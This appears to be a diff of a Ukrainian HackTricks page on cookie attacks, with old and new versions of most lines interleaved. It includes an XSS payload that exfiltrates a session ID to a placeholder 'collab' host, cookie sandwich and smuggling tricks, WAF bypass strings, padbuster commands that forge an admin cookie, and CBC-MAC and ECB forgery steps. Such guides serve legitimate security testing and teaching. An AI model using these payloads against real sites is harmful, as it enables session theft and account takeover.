- Це можна обійти за допомогою **TRACE** **HTTP** запитів, оскільки відповідь сервера (якщо цей HTTP метод доступний) відобразить надіслані cookie. Цю техніку називають **Cross-Site Tracking**.
|
||||
- Цю техніку уникають **сучасні браузери, не дозволяючи надсилати запит TRACE** з JS. Однак деякі обходи цього були знайдені в специфічному програмному забезпеченні, наприклад, надсилаючи `\r\nTRACE` замість `TRACE` до IE6.0 SP2.
|
||||
- Інший спосіб - це експлуатація вразливостей нульового дня браузерів.
|
||||
- Можливо **перезаписати HttpOnly cookie**, виконуючи атаку переповнення Cookie Jar:
|
||||
- Якщо сторінка відправляє cookie в тілі відповіді на запит (наприклад, на сторінці **PHPinfo**), можна використати XSS для відправки запиту на цю сторінку та **вкрасти cookie** з відповіді (перегляньте приклад на [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- Це можна обійти за допомогою **TRACE** HTTP-запитів, оскільки відповідь сервера (якщо цей HTTP-метод доступний) відобразить відправлені cookie. Ця техніка називається **Cross-Site Tracking**.
|
||||
- Сучасні браузери уникають цієї техніки, забороняючи відправку TRACE-запитів з JS. Проте для конкретного ПЗ знайдені обхідні шляхи, наприклад відправка `\r\nTRACE` замість `TRACE` до IE6.0 SP2.
|
||||
- Інший спосіб — експлуатація zero/day вразливостей браузерів.
|
||||
- Можна **перезаписати HttpOnly cookies**, виконавши атаку Cookie Jar overflow:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
cookie-jar-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
- Можливо використовувати [**Cookie Smuggling**](#cookie-smuggling) атаку для ексфільтрації цих cookie
|
||||
|
||||
- Можна скористатися атакою [**Cookie Smuggling**](#cookie-smuggling) для ексфільтрації цих cookie
|
||||
- Якщо будь-який серверний endpoint відображає raw session ID у HTTP-відповіді (наприклад у HTML-коментарях або блоці налагодження), ви можете обійти HttpOnly, використавши XSS gadget для отримання цього endpoint, застосувати regex до секрету та ексфільтрувати його. Приклад XSS payload pattern:
|
||||
```js
|
||||
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
|
||||
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
|
||||
fetch('/index.php?module=Touch&action=ws')
|
||||
.then(r => r.text())
|
||||
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
|
||||
```
|
||||
### Secure
|
||||
|
||||
Запит буде **тільки** надсилати cookie в HTTP запиті, якщо запит передається через захищений канал (зазвичай **HTTPS**).
|
||||
Браузер відправляє cookie в HTTP-запиті лише якщо запит передається через захищений канал (зазвичай **HTTPS**).
|
||||
|
||||
## Cookies Prefixes
|
||||
|
||||
Cookie, що починаються з `__Secure-`, повинні бути встановлені разом з прапором `secure` з сторінок, які захищені HTTPS.
|
||||
Cookies prefixed with `__Secure-` are required to be set alongside the `secure` flag from pages that are secured by HTTPS.
|
||||
|
||||
Для cookie, що починаються з `__Host-`, повинні бути виконані кілька умов:
|
||||
For cookies prefixed with `__Host-`, several conditions must be met:
|
||||
|
||||
- Вони повинні бути встановлені з прапором `secure`.
|
||||
- Вони повинні походити з сторінки, захищеної HTTPS.
|
||||
- Їм заборонено вказувати домен, що запобігає їх передачі на піддомени.
|
||||
- Шлях для цих cookie повинен бути встановлений на `/`.
|
||||
- They must be set with the `secure` flag.
|
||||
- They must originate from a page secured by HTTPS.
|
||||
- They are forbidden from specifying a domain, preventing their transmission to subdomains.
|
||||
- The path for these cookies must be set to `/`.
|
||||
|
||||
Важливо зазначити, що cookie, що починаються з `__Host-`, не можуть бути надіслані на супердомен або піддомен. Це обмеження допомагає ізолювати cookie додатків. Таким чином, використання префікса `__Host-` для всіх cookie додатків можна вважати хорошою практикою для підвищення безпеки та ізоляції.
|
||||
It is important to note that cookies prefixed with `__Host-` are not allowed to be sent to superdomains or subdomains. This restriction aids in isolating application cookies. Thus, employing the `__Host-` prefix for all application cookies can be considered a good practice for enhancing security and isolation.
|
||||
|
||||
### Overwriting cookies
|
||||
|
||||
Отже, одне з захистів cookie з префіксом `__Host-` - запобігти їх перезапису з піддоменів. Запобігаючи, наприклад, [**Cookie Tossing attacks**](cookie-tossing.md). У доповіді [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) представлено, що було можливо встановити cookie з префіксом \_\_HOST- з піддомену, обманюючи парсер, наприклад, додаючи "=" на початку або на початку та в кінці...:
|
||||
Отже, одне з обмежень `__Host-` префіксованих cookies — запобігання їх перезапису з піддоменів. Це, наприклад, перешкоджає [**Cookie Tossing attacks**](cookie-tossing.md). У доповіді [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) показано, що було можливо встановити `__HOST-` префіксовані cookies з піддомену, обманувши парсер — наприклад, додаючи "=" на початку або на початку і в кінці...:
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Або в PHP було можливо додати **інші символи на початку** назви cookie, які будуть **замінені на символи підкреслення**, що дозволяє перезаписати cookie `__HOST-`:
|
||||
Або в PHP було можливо додати **інші символи на початку** імені cookie, які потім **замінювалися на підкреслення**, що дозволяло перезаписувати `__HOST-` cookies:
|
||||
|
||||
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Cookies Attacks
|
||||
|
||||
Якщо кастомний cookie містить чутливі дані, перевірте його (особливо якщо ви берете участь у CTF), оскільки він може бути вразливим.
|
||||
Якщо кастомний cookie містить конфіденційні дані, перевірте його (особливо якщо ви берете участь у CTF), оскільки він може бути вразливим.
|
||||
|
||||
### Decoding and Manipulating Cookies
|
||||
|
||||
Чутливі дані, вбудовані в cookie, завжди повинні бути перевірені. Cookie, закодовані в Base64 або подібних форматах, часто можуть бути декодовані. Ця вразливість дозволяє зловмисникам змінювати вміст cookie та видавати себе за інших користувачів, закодовуючи їх змінені дані назад у cookie.
|
||||
Конфіденційні дані, вбудовані в cookies, слід завжди ретельно перевіряти. Cookies, закодовані в Base64 або подібних форматах, часто можна декодувати. Ця вразливість дозволяє зловмисникам змінювати вміст cookie та видавати себе за інших користувачів, повторно кодувавши змінені дані назад у cookie.
|
||||
|
||||
### Session Hijacking
|
||||
|
||||
Ця атака полягає у викраденні cookie користувача для отримання несанкціонованого доступу до їх облікового запису в додатку. Використовуючи вкрадений cookie, зловмисник може видавати себе за законного користувача.
|
||||
Ця атака полягає у викраденні cookie користувача для отримання неавторизованого доступу до його облікового запису в застосунку. Використовуючи вкрадений cookie, зловмисник може видавати себе за легітимного користувача.
|
||||
|
||||
### Session Fixation
|
||||
|
||||
У цьому сценарії зловмисник обманює жертву, щоб вона використовувала конкретний cookie для входу. Якщо додаток не призначає новий cookie під час входу, зловмисник, маючи оригінальний cookie, може видавати себе за жертву. Ця техніка залежить від того, що жертва входить з cookie, наданим зловмисником.
|
||||
У цьому сценарії зловмисник обманює жертву, щоб вона використовувала певний cookie для входу. Якщо застосунок не видає новий cookie після логіну, зловмисник, який володіє початковим cookie, може видавати себе за жертву. Ця техніка спирається на те, що жертва заходить у систему з cookie, який надав зловмисник.
|
||||
|
||||
Якщо ви знайшли **XSS у піддомені** або **контролюєте піддомен**, прочитайте:
|
||||
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -123,9 +129,9 @@ cookie-tossing.md
|
||||
|
||||
### Session Donation
|
||||
|
||||
Тут зловмисник переконує жертву використовувати cookie сесії зловмисника. Жертва, вважаючи, що вона увійшла до свого облікового запису, ненавмисно виконує дії в контексті облікового запису зловмисника.
|
||||
Тут зловмисник переконує жертву використовувати сесію (cookie) зловмисника. Жертва, вважаючи, що вона увійшла у власний обліковий запис, ненавмисно виконуватиме дії в контексті облікового запису зловмисника.
|
||||
|
||||
Якщо ви знайшли **XSS у піддомені** або **контролюєте піддомен**, прочитайте:
|
||||
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -134,23 +140,23 @@ cookie-tossing.md
|
||||
|
||||
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||
|
||||
Натисніть на попереднє посилання, щоб отримати доступ до сторінки, що пояснює можливі вразливості в JWT.
|
||||
Click on the previous link to access a page explaining possible flaws in JWT.
|
||||
|
||||
JSON Web Tokens (JWT), що використовуються в cookie, також можуть мати вразливості. Для отримання детальної інформації про потенційні вразливості та способи їх експлуатації рекомендується звернутися до пов'язаного документа про хакінг JWT.
|
||||
JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
Ця атака змушує увійшовшого користувача виконувати небажані дії на веб-додатку, в якому він наразі аутентифікований. Зловмисники можуть використовувати cookie, які автоматично надсилаються з кожним запитом до вразливого сайту.
|
||||
Ця атака змушує автентифікованого користувача виконувати небажані дії в веб-застосунку, в якому він наразі автентифікований. Зловмисники можуть експлуатувати cookies, які автоматично надсилаються з кожним запитом на вразливий сайт.
|
||||
|
||||
### Empty Cookies
|
||||
|
||||
(Перевірте додаткові деталі в [оригінальному дослідженні](https://blog.ankursundara.com/cookie-bugs/)) Браузери дозволяють створювати cookie без імені, що можна продемонструвати через JavaScript наступним чином:
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Браузери дозволяють створювати cookies без імені, що можна продемонструвати за допомогою JavaScript наступним чином:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
Результат у заголовку cookie `a=v1; test value; b=v2;`. Цікаво, що це дозволяє маніпулювати cookie, якщо встановлено cookie з порожнім ім'ям, потенційно контролюючи інші cookie, встановлюючи порожній cookie на конкретне значення:
|
||||
Результат у заголовку cookie, що надсилається, — `a=v1; test value; b=v2;`. Цікавим чином це дозволяє маніпулювати cookie, якщо встановлено cookie з порожньою назвою, що потенційно дозволяє контролювати інші cookie шляхом встановлення порожнього cookie на конкретне значення:
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`
|
||||
@ -158,109 +164,109 @@ document.cookie = `${name}=${value}`
|
||||
|
||||
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
Це призводить до того, що браузер надсилає заголовок cookie, який кожен веб-сервер інтерпретує як cookie з ім'ям `a` та значенням `b`.
|
||||
Це призводить до того, що браузер надсилає заголовок cookie, який інтерпретується кожним веб‑сервером як cookie з ім'ям `a` і значенням `b`.
|
||||
|
||||
#### Chrome Bug: Проблема з кодовими точками сурогатів Unicode
|
||||
#### Chrome Bug: Проблема з Unicode Surrogate Codepoint
|
||||
|
||||
У Chrome, якщо кодова точка сурогата Unicode є частиною встановленого cookie, `document.cookie` стає пошкодженим, повертаючи порожній рядок наступним чином:
|
||||
У Chrome, якщо Unicode surrogate codepoint є частиною set cookie, `document.cookie` стає пошкодженим і надалі повертає порожній рядок:
|
||||
```js
|
||||
document.cookie = "\ud800=meep"
|
||||
```
|
||||
Це призводить до того, що `document.cookie` виводить порожній рядок, що вказує на постійну корупцію.
|
||||
Внаслідок цього `document.cookie` повертає порожній рядок, що вказує на постійне пошкодження.
|
||||
|
||||
#### Контрабанда кукі через проблеми з парсингом
|
||||
#### Cookie Smuggling через проблеми з парсингом
|
||||
|
||||
(Дивіться деталі в [оригінальному дослідженні](https://blog.ankursundara.com/cookie-bugs/)) Декілька веб-серверів, включаючи ті, що з Java (Jetty, TomCat, Undertow) та Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), неправильно обробляють рядки кукі через застарілу підтримку RFC2965. Вони читають значення кукі в подвійних лапках як одне значення, навіть якщо воно містить крапки з комою, які зазвичай повинні розділяти пари ключ-значення:
|
||||
(Перегляньте додаткові деталі в [original research](https://blog.ankursundara.com/cookie-bugs/)) Кілька веб‑серверів, зокрема реалізації для Java (Jetty, TomCat, Undertow) та Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), неправильно обробляють рядки cookie через застарілу підтримку RFC2965. Вони читають значення cookie в подвійних лапках як одне значення, навіть якщо воно містить символи ';', які зазвичай повинні розділяти пари ключ-значення:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Вразливості ін'єкції куків
|
||||
#### Вразливості Cookie Injection
|
||||
|
||||
(Див. деталі в [оригінальному дослідженні](https://blog.ankursundara.com/cookie-bugs/)) Неправильний парсинг куків серверами, зокрема Undertow, Zope та тими, що використовують Python's `http.cookie.SimpleCookie` і `http.cookie.BaseCookie`, створює можливості для атак ін'єкції куків. Ці сервери не можуть правильно обмежити початок нових куків, що дозволяє зловмисникам підробляти куки:
|
||||
(Деталі — у [оригінальному дослідженні](https://blog.ankursundara.com/cookie-bugs/)) Невірне розборення cookie серверами, зокрема Undertow, Zope та тими, що використовують Python's `http.cookie.SimpleCookie` і `http.cookie.BaseCookie`, створює можливості для cookie injection attacks. Ці сервери не відокремлюють належним чином початок нових cookie, що дозволяє зловмисникам підробляти cookie:
|
||||
|
||||
- Undertow очікує новий куки відразу після цитованого значення без крапки з комою.
|
||||
- Zope шукає кому, щоб почати парсинг наступного кука.
|
||||
- Класи куків Python починають парсинг з символу пробілу.
|
||||
- Undertow очікує новий cookie одразу після значення в лапках без крапки з комою.
|
||||
- Zope шукає кому, щоб почати розбір наступного cookie.
|
||||
- Python's cookie classes починають розбір із пробільного символу.
|
||||
|
||||
Ця вразливість особливо небезпечна в веб-додатках, які покладаються на захист CSRF на основі куків, оскільки це дозволяє зловмисникам ін'єктувати підроблені куки CSRF-токенів, потенційно обходячи заходи безпеки. Проблема ускладнюється обробкою Python дублікатів імен куків, де останнє входження перекриває попередні. Це також викликає занепокоєння щодо куків `__Secure-` і `__Host-` в небезпечних контекстах і може призвести до обходу авторизації, коли куки передаються на сервери, що піддаються підробці.
|
||||
Ця вразливість особливо небезпечна для веб‑додатків, що покладаються на cookie‑базований захист від CSRF, оскільки вона дозволяє зловмисникам інжектувати підроблені CSRF-token cookie, потенційно обходячи заходи безпеки. Проблема посилюється тим, як Python обробляє дублікати імен cookie — останній екземпляр перекриває попередні. Це також викликає занепокоєння щодо `__Secure-` і `__Host-` cookie в ненадійних контекстах і може призвести до обходу авторизації, коли cookie передаються на back-end сервери, вразливі до підробки.
|
||||
|
||||
### Cookies $version
|
||||
|
||||
#### Обхід WAF
|
||||
#### WAF Bypass
|
||||
|
||||
Згідно з [**цією статтею**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), можливо, можна використовувати атрибут кука **`$Version=1`**, щоб змусити бекенд використовувати стару логіку для парсингу кука через **RFC2109**. Більше того, інші значення, такі як **`$Domain`** і **`$Path`**, можуть бути використані для зміни поведінки бекенду з куком.
|
||||
Згідно з [**цією публікацією в блозі**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), можливо використати атрибут cookie **`$Version=1`**, щоб змусити бекенд застосувати стару логіку розбору cookie через **RFC2109**. Крім того, інші атрибути, такі як **`$Domain`** і **`$Path`**, можна використати для модифікації поведінки бекенду щодо cookie.
|
||||
|
||||
#### Атака Cookie Sandwich
|
||||
#### Cookie Sandwich Attack
|
||||
|
||||
Згідно з [**цією статтею**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique), можливо використовувати техніку cookie sandwich для викрадення HttpOnly куків. Ось вимоги та кроки:
|
||||
Згідно з [**цією публікацією в блозі**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique), можна застосувати cookie sandwich technique для викрадення HttpOnly cookie. Нижче — вимоги та кроки:
|
||||
|
||||
- Знайти місце, де очевидно безкорисний **кук відображається у відповіді**
|
||||
- **Створити куку з назвою `$Version`** зі значенням `1` (це можна зробити в атаці XSS з JS) з більш специфічним шляхом, щоб вона отримала початкову позицію (деякі фреймворки, такі як Python, не потребують цього кроку)
|
||||
- **Створити куку, яка відображається** зі значенням, що залишає **відкриті подвійні лапки** і з конкретним шляхом, щоб вона була розташована в базі куків після попередньої (`$Version`)
|
||||
- Потім легітимна кука піде наступною в порядку
|
||||
- **Створити фальшиву куку, яка закриває подвійні лапки** всередині свого значення
|
||||
- Знайти місце, де, здавалося б, непотрібний **cookie відображається у відповіді**
|
||||
- **Створити cookie з ім'ям `$Version`** зі значенням `1` (це можна зробити в XSS-атаці з JS) з більш специфічним path, щоб він отримав початкову позицію (деякі фреймворки, як python, не потребують цього кроку)
|
||||
- **Створити cookie, що відображається**, зі значенням, яке залишає відкриту **подвійну лапку**, і з конкретним path, щоб він опинився в базі cookie після попереднього (`$Version`)
|
||||
- Тоді легітимний cookie піде наступним у порядку
|
||||
- **Створити підставний cookie, який закриває подвійні лапки** у своєму значенні
|
||||
|
||||
Таким чином, кука жертви потрапляє в пастку всередині нової куки версії 1 і буде відображатися щоразу, коли вона відображається.
|
||||
Таким чином жертвинський cookie опиняється захопленим всередині нового cookie версії 1 і буде відображатися щоразу, коли його відображують. Наприклад, із посту:
|
||||
```javascript
|
||||
document.cookie = `$Version=1;`;
|
||||
document.cookie = `param1="start`;
|
||||
// any cookies inside the sandwich will be placed into param1 value server-side
|
||||
document.cookie = `param2=end";`;
|
||||
```
|
||||
### WAF обходи
|
||||
### WAF bypasses
|
||||
|
||||
#### Cookies $version
|
||||
|
||||
Перегляньте попередній розділ.
|
||||
Перевірте попередній розділ.
|
||||
|
||||
#### Аналіз обходу значень з кодуванням quoted-string
|
||||
#### Bypassing value analysis with quoted-string encoding
|
||||
|
||||
Цей парсинг вказує на те, щоб розкодувати ескейповані значення всередині cookie, тому "\a" стає "a". Це може бути корисно для обходу WAF, оскільки:
|
||||
Цей парсинг вказує на необхідність unescape-ити екрановані значення всередині cookies, тому "\a" стає "a". Це може бути корисно для обходу WAFS, наприклад:
|
||||
|
||||
- `eval('test') => заборонено`
|
||||
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => дозволено`
|
||||
- `eval('test') => forbidden`
|
||||
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
|
||||
|
||||
#### Обхід блокувань імен cookie
|
||||
#### Bypassing cookie-name blocklists
|
||||
|
||||
У RFC2109 вказано, що **кома може використовуватися як роздільник між значеннями cookie**. Також можливо додавати **пробіли та табуляції перед і після знака рівності**. Тому cookie на кшталт `$Version=1; foo=bar, abc = qux` не генерує cookie `"foo":"bar, admin = qux"`, а генерує cookie `foo":"bar"` та `"admin":"qux"`. Зверніть увагу, як генерується 2 cookie і як з admin видалено пробіл перед і після знака рівності.
|
||||
У RFC2109 зазначено, що **кома може використовуватися як роздільник між значеннями cookie**. Також можливо додавати **пробіли та табуляцію до і після знака рівності**. Отже cookie типу `$Version=1; foo=bar, abc = qux` не породжує cookie `"foo":"bar, admin = qux"`, а породжує cookie `"foo":"bar"` та `"admin":"qux"`. Зверніть увагу, як утворюються 2 cookie і як у admin видалено пробіли до і після знака рівності.
|
||||
|
||||
#### Обхід аналізу значень з розділенням cookie
|
||||
#### Bypassing value analysis with cookie splitting
|
||||
|
||||
Нарешті, різні бекдори можуть об'єднувати в рядок різні cookie, передані в різних заголовках cookie, як у:
|
||||
Нарешті, різні backdoors могли б об'єднати в один рядок різні cookie, передані в різних cookie headers, як у прикладі:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
Cookie: param1=value1;
|
||||
Cookie: param2=value2;
|
||||
```
|
||||
Що може дозволити обійти WAF, як у цьому прикладі:
|
||||
Що могло б дозволити bypass a WAF, як у цьому прикладі:
|
||||
```
|
||||
Cookie: name=eval('test//
|
||||
Cookie: comment')
|
||||
|
||||
Resulting cookie: name=eval('test//, comment') => allowed
|
||||
```
|
||||
### Додаткові перевірки вразливих куків
|
||||
### Додаткові перевірки вразливих cookie
|
||||
|
||||
#### **Основні перевірки**
|
||||
|
||||
- **cookie** є **однаковим** щоразу, коли ви **входите** в систему.
|
||||
- Вийдіть з системи та спробуйте використати той самий cookie.
|
||||
- Спробуйте увійти з 2 пристроїв (або браузерів) до одного й того ж облікового запису, використовуючи той самий cookie.
|
||||
- Перевірте, чи містить cookie якусь інформацію, і спробуйте змінити її.
|
||||
- Спробуйте створити кілька облікових записів з майже однаковими іменами користувачів і перевірте, чи можете ви побачити подібності.
|
||||
- Перевірте опцію "**запам'ятати мене**", якщо вона існує, щоб дізнатися, як вона працює. Якщо вона існує і може бути вразливою, завжди використовуйте cookie з **запам'ятати мене** без жодного іншого cookie.
|
||||
- Перевірте, чи працює попередній cookie навіть після зміни пароля.
|
||||
- **cookie** є **однаковим** щоразу при **login**.
|
||||
- Вийдіть з облікового запису і спробуйте використати той самий cookie.
|
||||
- Спробуйте log in з 2 пристроїв (або браузерів) до того самого account, використовуючи той самий cookie.
|
||||
- Перевірте, чи cookie містить яку-небудь інформацію та спробуйте її змінити
|
||||
- Спробуйте створити кілька accounts з майже однаковими username і перевірте, чи видно схожості.
|
||||
- Перевірте опцію "**remember me**" (якщо є), щоб зрозуміти, як вона працює. Якщо вона є й може бути вразливою, завжди використовуйте cookie від **remember me** без жодних інших cookie.
|
||||
- Перевірте, чи попередній cookie працює навіть після зміни пароля.
|
||||
|
||||
#### **Складні атаки на куки**
|
||||
#### **Розширені атаки на cookies**
|
||||
|
||||
Якщо cookie залишається таким же (або майже таким) під час входу, це, ймовірно, означає, що cookie пов'язаний з якимось полем вашого облікового запису (ймовірно, з ім'ям користувача). Тоді ви можете:
|
||||
Якщо cookie залишається тим самим (або майже) при log in, це, ймовірно, означає, що cookie пов’язаний з якимось полем вашого account (імовірно — username). Тоді ви можете:
|
||||
|
||||
- Спробуйте створити багато **облікових записів** з дуже **схожими** іменами користувачів і спробуйте **вгадати**, як працює алгоритм.
|
||||
- Спробуйте **брутфорсити ім'я користувача**. Якщо cookie зберігається лише як метод аутентифікації для вашого імені користувача, тоді ви можете створити обліковий запис з ім'ям користувача "**Bmin**" і **брутфорсити** кожен окремий **біт** вашого cookie, оскільки один з cookie, які ви спробуєте, буде належати "**admin**".
|
||||
- Спробуйте **Padding** **Oracle** (ви можете розшифрувати вміст cookie). Використовуйте **padbuster**.
|
||||
- Спробуйте створити велику кількість **accounts** з дуже **схожими** username і спробуйте **вгадати**, як працює алгоритм.
|
||||
- Спробуйте **bruteforce the username**. Якщо cookie використовується лише як метод автентифікації для вашого username, тоді ви можете створити account з username "**Bmin**" і **bruteforce** кожен окремий **bit** cookie, оскільки один із cookie, які ви спробуєте, буде належати "**admin**".
|
||||
- Спробуйте **Padding** **Oracle** (ви можете дешифрувати вміст cookie). Використайте **padbuster**.
|
||||
|
||||
**Padding Oracle - приклади Padbuster**
|
||||
**Padding Oracle - Padbuster приклади**
|
||||
```bash
|
||||
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
|
||||
# When cookies and regular Base64
|
||||
@ -270,43 +276,46 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
||||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbuster зробить кілька спроб і запитає вас, яка умова є умовою помилки (та, що є недійсною).
|
||||
Padbuster зробить кілька спроб і запитає вас, яка умова є умовою помилки (та, що не є дійсною).
|
||||
|
||||
Потім він почне розшифровувати кукі (це може зайняти кілька хвилин).
|
||||
Потім він почне decrypting the cookie (це може зайняти кілька хвилин)
|
||||
|
||||
Якщо атака була успішно виконана, ви можете спробувати зашифрувати рядок на ваш вибір. Наприклад, якщо ви хочете **зашифрувати** **user=administrator**
|
||||
Якщо атаку успішно виконано, ви можете спробувати encrypt рядок на свій вибір. Наприклад, якщо ви хочете **encrypt** **user=administrator**
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
Це виконання надасть вам cookie, правильно зашифрований і закодований зі строкою **user=administrator** всередині.
|
||||
This execution will give you the cookie correctly encrypted and encoded with the string **user=administrator** inside.
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
Можливо, cookie може мати певне значення і може бути підписаний за допомогою CBC. Тоді цілісність значення є підписом, створеним за допомогою CBC з тим же значенням. Оскільки рекомендується використовувати як IV нульовий вектор, цей тип перевірки цілісності може бути вразливим.
|
||||
Можливо cookie може мати деяке значення і бути підписане з використанням CBC. Тоді цілісність значення — це підпис, створений за допомогою CBC над тим же значенням. Оскільки рекомендовано використовувати як IV нульовий вектор, цей тип перевірки цілісності може бути вразливим.
|
||||
|
||||
**Атака**
|
||||
|
||||
1. Отримати підпис імені користувача **administ** = **t**
|
||||
2. Отримати підпис імені користувача **rator\x00\x00\x00 XOR t** = **t'**
|
||||
3. Встановити в cookie значення **administrator+t'** (**t'** буде дійсним підписом **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
||||
1. Отримати підпис для username **administ** = **t**
|
||||
2. Отримати підпис для username **rator\x00\x00\x00 XOR t** = **t'**
|
||||
3. Встановити в cookie значення **administrator+t'** (**t'** буде дійсним підписом для **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
||||
|
||||
**ECB**
|
||||
|
||||
Якщо cookie зашифровано за допомогою ECB, він може бути вразливим.\
|
||||
Коли ви входите в систему, cookie, який ви отримуєте, завжди має бути однаковим.
|
||||
Якщо cookie зашифровано з використанням ECB воно може бути вразливим.\
|
||||
Коли ви входите, cookie, який ви отримуєте, має завжди бути однаковим.
|
||||
|
||||
**Як виявити та атакувати:**
|
||||
How to detect and attack:
|
||||
|
||||
Створіть 2 користувачів з майже однаковими даними (ім'я користувача, пароль, електронна пошта тощо) і спробуйте виявити певний шаблон у наданому cookie.
|
||||
- Створіть 2 користувачів з майже однаковими даними (username, password, email, etc.) і спробуйте виявити якийсь патерн у отриманому cookie
|
||||
|
||||
Створіть користувача, наприклад, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" і перевірте, чи є якийсь шаблон у cookie (оскільки ECB шифрує з одним і тим же ключем кожен блок, ті ж зашифровані байти можуть з'явитися, якщо ім'я користувача зашифровано).
|
||||
- Створіть користувача, наприклад "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" і перевірте, чи є якийсь патерн у cookie (оскільки ECB шифрує з тим же ключем кожен блок, ті самі зашифровані байти можуть з'являтися, якщо username шифрується).
|
||||
|
||||
Має бути шаблон (з розміром використаного блоку). Отже, знаючи, як зашифровано купу "a", ви можете створити ім'я користувача: "a"\*(розмір блоку)+"admin". Тоді ви зможете видалити зашифрований шаблон блоку "a" з cookie. І ви отримаєте cookie для імені користувача "admin".
|
||||
- Повинна бути повторювана послідовність (розміром як блок шифру). Отже, знаючи, як шифрується рядок з "a", ви можете створити username: "a"\*(size of the block)+"admin". Потім ви можете видалити зашифрований блок, що відповідає блоку "a", з cookie. І у вас буде cookie для username "admin".
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
|
||||
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
|
||||
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,181 +1,182 @@
|
||||
# Скидання/Забутий пароль обхід
|
||||
# Обхід скидання/забутого пароля
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Витік токена скидання пароля через реферер**
|
||||
## **Password Reset Token Leak Via Referrer**
|
||||
|
||||
- Заголовок HTTP referer може витікати токен скидання пароля, якщо він включений в URL. Це може статися, коли користувач натискає на посилання третьої сторони після запиту на скидання пароля.
|
||||
- **Вплив**: Потенційне захоплення облікового запису через атаки Cross-Site Request Forgery (CSRF).
|
||||
